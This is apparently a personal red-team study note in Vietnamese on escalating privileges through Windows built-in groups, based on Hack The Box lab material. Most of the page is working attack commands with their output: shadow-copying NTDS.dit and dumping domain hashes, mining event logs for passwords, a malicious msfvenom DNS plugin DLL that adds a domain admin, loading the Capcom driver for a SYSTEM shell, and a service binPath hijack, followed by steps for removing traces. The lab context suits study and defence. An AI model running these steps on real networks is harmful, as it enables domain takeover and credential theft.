> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/windows-built-in-groups.md). # Windows Built-in Groups Trong Windows **Server/Domain Controller** có nhiều group mặc định. Một số group không phải “Administrator” nhưng vẫn có Privilege rất mạnh. Vì vậy nếu foothold được các user nằm trong các group này thì có thể dùng để đọc các file nhạy cảm hoặc priv es. Command check coi user ở group nào hoặc user đang có privilege nào\ (Có một số privilege cần chạy powershell admin thì nó mới hiển thị.) ```shellscript whoami /groups whoami /priv ``` ## Backup Operators Nếu user thuộc **Backup Operators**, user thường có 2 privilege quan trọng: ```shellscript SeBackupPrivilege SeRestorePrivilege ``` **SeBackupPrivilege** thì được dùng để bypass ACL khi đọc file, còn **SeRestorePrivilege** thì được dùng để writefile bypass ACL, có thể ghi các file executable, dll, py,... nếu service hoặc user khác chạy thì có thể Privilege Escalation. enable **SeBackupPrivilege** ```shellscript Set-SeBackupPrivilege ``` Để exploit thì chúng ta dùng tool này ```powershell # Import 2 module Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll # Enable SeBackupPrivilege Set-SeBackupPrivilege # Copy (backup) de read Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt cat .\Contract.txt ``` Ngoài ra chúng ta cũng có thể copy file `NTDS.dit` từ DC ra để dump hash. Do `NTDS.dit` đang bị lock do đang có service sử dụng nó nên k thể đọc bình thường dc Dùng **DiskShadow** để snapshot lại file `NTDS.dit` và đưa vào ổ E, khi đó thì file `NTDS.dit` sẽ được copy hoàn toàn. ```shellscript PS C:\htb> diskshadow.exe Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC, 10/14/2020 12:57:52 AM DISKSHADOW> set verbose on DISKSHADOW> set metadata C:\Windows\Temp\meta.cab DISKSHADOW> set context clientaccessible DISKSHADOW> set context persistent DISKSHADOW> begin backup DISKSHADOW> add volume C: alias cdrive DISKSHADOW> create DISKSHADOW> expose %cdrive% E: DISKSHADOW> end backup DISKSHADOW> exit ``` Dùng `Copy-FileSeBackupPrivilege` để bypass ACL và copy `NTDS.dit` file ```shellscript Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` Lấy **SAM** và **SYSTEM** registry ```shellscript reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SAM SAM.SAV ``` **Extracting Credentials from NTDS.dit** ```ps1 Import-Module .\DSInternals.psd1 $key = Get-BootKey -SystemHivePath .\SYSTEM Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key ``` ```shellscript DistinguishedName: CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL Sid: S-1-5-21-669053619-2741956077-1013132368-500 Guid: f28ab72b-9b16-4b52-9f63-ef4ea96de215 SamAccountName: Administrator SamAccountType: User UserPrincipalName: PrimaryGroupId: 513 SidHistory: Enabled: True UserAccountControl: NormalAccount, PasswordNeverExpires AdminCount: True Deleted: False LastLogonDate: 5/6/2021 5:40:30 PM DisplayName: GivenName: Surname: Description: Built-in account for administering the computer/domain ServicePrincipalName: SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected, SelfRelative Owner: S-1-5-21-669053619-2741956077-1013132368-512 Secrets NTHash: cf3a5525ee9414229e66279623ed5c58 LMHash: NTHashHistory: LMHashHistory: SupplementalCredentials: ClearText: NTLMStrongHash: 7790d8406b55c380f98b92bb2fdc63a7 Kerberos: Credentials: DES_CBC_MD5 Key: d60dfbbf20548938 OldCredentials: Salt: WIN-NB4NGP3TKNKAdministrator Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC ``` Extract bằng Linux ```shellscript secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL ``` ```bash Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation [*] Target system bootKey: 0xc0a9116f907bd37afaaa845cb87d0550 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: 85541c20c346e3198a3ae2c09df7f330 [*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WINLPE-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7abf052dcef31f6305f1d4c84dfa7484::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129::: htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5::: svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: bob:1105:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: hyperv_adm:1106:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: printsvc:1107:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: ``` ## Event Log Readers Member của group này có quyền đọc Application Log, System Log, nhiều Event Log khác và trong đó có cả Security Log. Nếu admin bật `Include command line in process creation events` thì chúng ta có thể đọc `Process Command Line` ```powershell net localgroup "Event Log Readers" ``` ```bash Alias name Event Log Readers Comment Members of this group can read event logs from local machine Members ------------------------------------------------------------------------------- logger The command completed successfully. ``` Search Log : ```powershell wevtutil qe Security /rd:true /f:text | Select-String "/user" ``` Thêm credentinal vào **wevtutil** để search lên máy khác ```powershell wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user" ``` Search log dùng **Get-WinEvent** ```shellscript Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }} ``` ```bash CommandLine ----------- net use T: \\fs01\backups /user:tim MyStr0ngP@ssword ``` ## DnsAdmins Nếu DNS Server chạy trên DC, thì DNS Service chạy với account `NT AUTHORITY\SYSTEM` Window DNS hỗ trợ `ServerLevelPluginDll` (đây là cơ chế plugin của DNS), nếu DNS không resolve được 1 query nào đó thì nó sẽ gọi tới `Custom DLL`. Và Microsoft cho phép chúng ta config ``` HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters ServerLevelPluginDll ``` tới file Dll nào đó. Và `DnsAdmins` có quyền dùng `dnscmd` để sửa `ServerLevelPluginDll` tới file Dll malicious \=> Khi DNS restart thì nó sẽ load malicious DLL đó.\ \=> RCE với SYSTEM Exploit : Tạo file DLL độc để add user **`netadm`** vào Group **`domain admins`** ```shellscript msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 313 bytes Final size of dll file: 5120 bytes Saved as: adduser.dll ``` Add DLL malicious : ```bash dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll # -------------------------------------------------------------------- Registry property serverlevelplugindll successfully reset. Command completed successfully. ``` Check quyền Restart service DNS : (Nếu có `RPWP` thì có nghĩ là có quyền **Restart DNS service)** ```bash sc.exe sdshow DNS #--------------------------------------------------------------------------------------------------------------- D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) ``` Restart lại : ```bash C:\htb> sc stop dns SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x1 WAIT_HINT : 0x7530 C:\htb> sc start dns SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 PID : 6960 FLAGS : ``` Clean lại registry để service hoạt động bình thường lại (Xoá dấu vết) ```powershell C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters GlobalQueryBlockList REG_MULTI_SZ wpad\0isatap EnableGlobalQueryBlockList REG_DWORD 0x1 PreviousLocalHostname REG_SZ WINLPE-DC01.INLANEFREIGHT.LOCAL Forwarders REG_MULTI_SZ 1.1.1.1\08.8.8.8 ForwardingTimeout REG_DWORD 0x3 IsSlave REG_DWORD 0x0 BootMethod REG_DWORD 0x3 AdminConfigured REG_DWORD 0x1 ServerLevelPluginDll REG_SZ adduser.dll C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll Delete the registry value ServerLevelPluginDll (Yes/No)? Y The operation completed successfully. ``` > Lên group admin rồi nhưng vẫn phải login lại RDP hoặc chạy\ > `runas /user:INLANEFREIGHT\netadm cmd` để lấy admin ## Hyper-V Administrators Member của **Hyper-V Administrators** không phải local admin, nhưng vẫn có quyền rất mạnh trên host. Vì có thể tạo và quản lý VM, mount **VHD/VHDX**, rồi copy file qua các path của Hyper-V, attacker thường có thể ghi file lên host và leo lên **NT AUTHORITY\SYSTEM**. Đọc thêm : Print Operators `Print Operators` là group đặc quyền trên Domain Controller. Thành viên của group này có quyền: * Quản lý printer trên DC * Logon local vào DC * Shutdown DC * Quan trọng nhất: **SeLoadDriverPrivilege** **`SeLoadDriverPrivilege`** cho phép user load/unload Windows Driver (**`.sys`**). Driver chạy trong **Kernel Mode (Ring 0)** nên có đặc quyền cao hơn Administrator. ⇒ có thể privilege escalation thông qua **SeLoadDriverPrivilege** Nếu chúng ta nằm trong group **Print Operators** mà không thấy quyền **`SeLoadDriverPrivilege`** thì đã bị UAC chặn, chúng ta có thể bypass bằng Để attack chúng ta cần load 1 driver cho phép chúng ta chạy shell code với SYSTEM privilege (**Capcom.sys**). Và để load được driver này thì cần sử dụng tool này:\ Sau khi tải về thì thêm các dòng sau : ```c #include #include #include #include #include #include "tchar.h" ``` Sau đó compile file : ```bash C:\Users\mrb3n\Desktop\Print Operators>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86 Copyright (C) Microsoft Corporation. All rights reserved. EnableSeLoadDriverPrivilege.cpp Microsoft (R) Incremental Linker Version 14.28.29913.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:EnableSeLoadDriverPrivilege.exe EnableSeLoadDriverPrivilege.obj ``` Sau đó down [Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) và thêm vào registry ```powershell C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys" The operation completed successfully. C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 The operation completed successfully. ``` Trigger ```shellscript C:\htb> EnableSeLoadDriverPrivilege.exe whoami: INLANEFREIGHT0\printsvc whoami /priv SeMachineAccountPrivilege Disabled SeLoadDriverPrivilege Enabled SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled by default SeIncreaseWorkingSetPrivilege Disabled NTSTATUS: 00000000, WinError: 0 ``` Verify : ```shellscript PS C:\htb> .\DriverView.exe /stext drivers.txt PS C:\htb> cat drivers.txt | Select-String -pattern Capcom Driver Name : Capcom.sys Filename : C:\Tools\Capcom.sys ``` Và đó là load driver, để sử dụng chúng ta cần dùng [ExploitCapcom](https://github.com/tandasat/ExploitCapcom) (down về compile ra) ```powershell PS C:\htb> .\ExploitCapcom.exe [*] Capcom.sys exploit [*] Capcom.sys handle was obained as 0000000000000070 [*] Shellcode was placed at 0000024822A50008 [+] Shellcode was executed [+] Token stealing was successful [+] The SYSTEM shell was launched ``` nó sẽ popup ra terminal
Nếu không có GUI, chúng ta có thể exploit như sau : Sửa code ở `ExploitCapcom.cpp` line `292` . Thay command `C:\Windows\system32\cmd.exe` thành file binary revershell đã được build từ `msfvenom` ```c // Launches a command shell process static bool LaunchShell() { TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe"); PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo = { sizeof(StartupInfo) }; if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo, &ProcessInfo)) { return false; } CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); return true; } ``` Hoặc có thể auto exploit bằng [EoPLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/) ```powershell C:\htb> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys [+] Enabling SeLoadDriverPrivilege [+] SeLoadDriverPrivilege Enabled [+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom NTSTATUS: c000010e, WinError: 0 ``` sau đó run `ExploitCapcom.exe` để mở popup shell mới. #### Clean-up : ```powershell C:\htb> reg delete HKCU\System\CurrentControlSet\Capcom Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes The operation completed successfully. ``` ## Server Operators Khi chúng ta ở trong Group Server Operators thì chúng ta cũng có thể Privilege Escalation. Nếu một service chạy dưới quyền **LocalSystem** và **Server Operators** có quyền **SERVICE\_CHANGE\_CONFIG** trên service đó, user của group này có thể sửa **Binary Path** của service để chạy command SYSTEM. Các bước exploit : Đầu tiên thì cần tìm service chạy bằng SYSTEM (ví dụ `AppReadiness` ) ```powershell C:\htb> sc.exe qc AppReadiness [SC] QueryServiceConfig SUCCESS SERVICE_NAME: AppReadiness TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k AppReadiness -p LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : App Readiness DEPENDENCIES : SERVICE_START_NAME : LocalSystem # LocalSystem la SYSTEM ``` Check xem ai có quyền quản lý service này bằng [PsService](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice) : ```powershell C:\htb> c:\Tools\PsService.exe security AppReadiness PsService v2.25 - Service information and configuration utility Copyright (C) 2001-2010 Mark Russinovich Sysinternals - www.sysinternals.com SERVICE_NAME: AppReadiness DISPLAY_NAME: App Readiness ACCOUNT: LocalSystem SECURITY: [ALLOW] NT AUTHORITY\SYSTEM Query status Query Config Interrogate Enumerate Dependents Pause/Resume Start Stop User-Defined Control Read Permissions ... [ALLOW] BUILTIN\Server Operators All ``` Sửa Service Binary Path ```powershell C:\htb> sc.exe config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add" [SC] ChangeServiceConfig SUCCESS ``` Start service (Nó trả lỗi nhưng đã chạy cmd) ```powershell C:\htb> sc.exe start AppReadiness [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion. ``` Check : ```powershell C:\htb> net localgroup Administrators Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator Domain Admins Enterprise Admins server_adm The command completed successfully. ``` Get NTLM Hash từ DC ```bash nduc193@htb[/htb]$ secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation Password: [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43 Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a Administrator:des-cbc-md5:d60dfbbf20548938 [*] Cleaning up... ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/windows-built-in-groups.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.